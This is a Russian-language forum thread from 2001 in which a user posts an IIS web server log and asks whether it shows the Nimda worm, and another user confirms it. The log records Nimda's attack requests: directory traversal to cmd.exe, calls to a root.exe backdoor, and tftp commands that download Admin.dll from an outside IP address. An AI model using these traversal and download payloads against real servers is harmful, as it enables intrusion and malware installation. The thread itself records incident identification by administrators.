Легенда:
новое сообщение
закрытая нитка
новое сообщение
в закрытой нитке
старое сообщение
|
- Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
- Новичкам также крайне полезно ознакомиться с данным документом.
 |
Это и есть Nimda? 28.09.01 12:11 Число просмотров: 879
Автор: SadM Статус: Незарегистрированный пользователь
|
Угу, по моему эти запросы уже все видели 8-)
|
<sysadmin>
|
Это и есть Nimda? 27.09.01 16:38
Автор: Ralex Статус: Незарегистрированный пользователь
|
Вот такой лог
80 GET /scripts/root.exe /c+dir 200 -
80 GET /scripts/root.exe /c+tftp%20-i%20195.7.240.134%20GET%20Admin.dll%20Admin.dll 502 -
80 GET /scripts/Admin.dll - 500 -
80 GET /MSADC/root.exe /c+dir 403 -
80 GET /c/winnt/system32/cmd.exe /c+dir 404 -
80 GET /d/winnt/system32/cmd.exe /c+dir 404 -
80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 200 -
80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+tftp%20-i%20195.7.240.134%20GET%20Admin.dll%20c:\Admin.dll 502 -
80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+tftp%20-i%20195.7.240.134%20GET%20Admin.dll%20d:\Admin.dll 502 -
80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+tftp%20-i%20195.7.240.134%20GET%20Admin.dll%20e:\Admin.dll 502 -
80 GET /scripts/..%5c../Admin.dll - 500 -
80 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 200 -
80 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i%20195.7.240.134%20GET%20Admin.dll%20c:\Admin.dll 502 -
80 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i%20195.7.240.134%20GET%20Admin.dll%20d:\Admin.dll 502 -
80 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i%20195.7.240.134%20GET%20Admin.dll%20e:\Admin.dll 502 -
80 GET /_vti_bin/..%5c../..%5c../..%5c../Admin.dll - 500 -
80 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 -
80 GET /scripts/..Б../winnt/system32/cmd.exe /c+dir 500 -
80 GET /scripts/winnt/system32/cmd.exe /c+dir 404 -
80 GET /scripts/../../winnt/system32/cmd.exe /c+dir 200 -
80 GET /scripts/../../winnt/system32/cmd.exe /c+tftp%20-i%20195.7.240.134%20GET%20Admin.dll%20c:\Admin.dll 502 -
80 GET /scripts/../../winnt/system32/cmd.exe /c+tftp%20-i%20195.7.240.134%20GET%20Admin.dll%20d:\Admin.dll 502 -
80 GET /scripts/../../winnt/system32/cmd.exe /c+tftp%20-i%20195.7.240.134%20GET%20Admin.dll%20e:\Admin.dll 502 -
80 GET /scripts/../../Admin.dll - 500 -
80 GET /scripts/..\../winnt/system32/cmd.exe /c+dir 200 -
80 GET /scripts/..\../winnt/system32/cmd.exe /c+tftp%20-i%20195.7.240.134%20GET%20Admin.dll%20c:\Admin.dll 502 -
80 GET /scripts/..\../winnt/system32/cmd.exe /c+tftp%20-i%20195.7.240.134%20GET%20Admin.dll%20d:\Admin.dll 502 -
80 GET /scripts/..\../winnt/system32/cmd.exe /c+tftp%20-i%20195.7.240.134%20GET%20Admin.dll%20e:\Admin.dll 502 -
80 GET /scripts/..\../Admin.dll - 500 -
80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 200 -
80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+tftp%20-i%20195.7.240.134%20GET%20Admin.dll%20c:\Admin.dll 502 -
80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+tftp%20-i%20195.7.240.134%20GET%20Admin.dll%20d:\Admin.dll 502 -
80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+tftp%20-i%20195.7.240.134%20GET%20Admin.dll%20e:\Admin.dll 502 -
80 GET /scripts/..%5c../Admin.dll - 500 -
80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 200 -
80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+tftp%20-i%20195.7.240.134%20GET%20Admin.dll%20c:\Admin.dll 502 -
80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+tftp%20-i%20195.7.240.134%20GET%20Admin.dll%20d:\Admin.dll 502 -
80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+tftp%20-i%20195.7.240.134%20GET%20Admin.dll%20e:\Admin.dll 502 -
80 GET /scripts/..%5c../Admin.dll - 500 -
|
 |
Это и есть Nimda? 28.09.01 12:11
Автор: SadM Статус: Незарегистрированный пользователь
|
Угу, по моему эти запросы уже все видели 8-)
|
|
|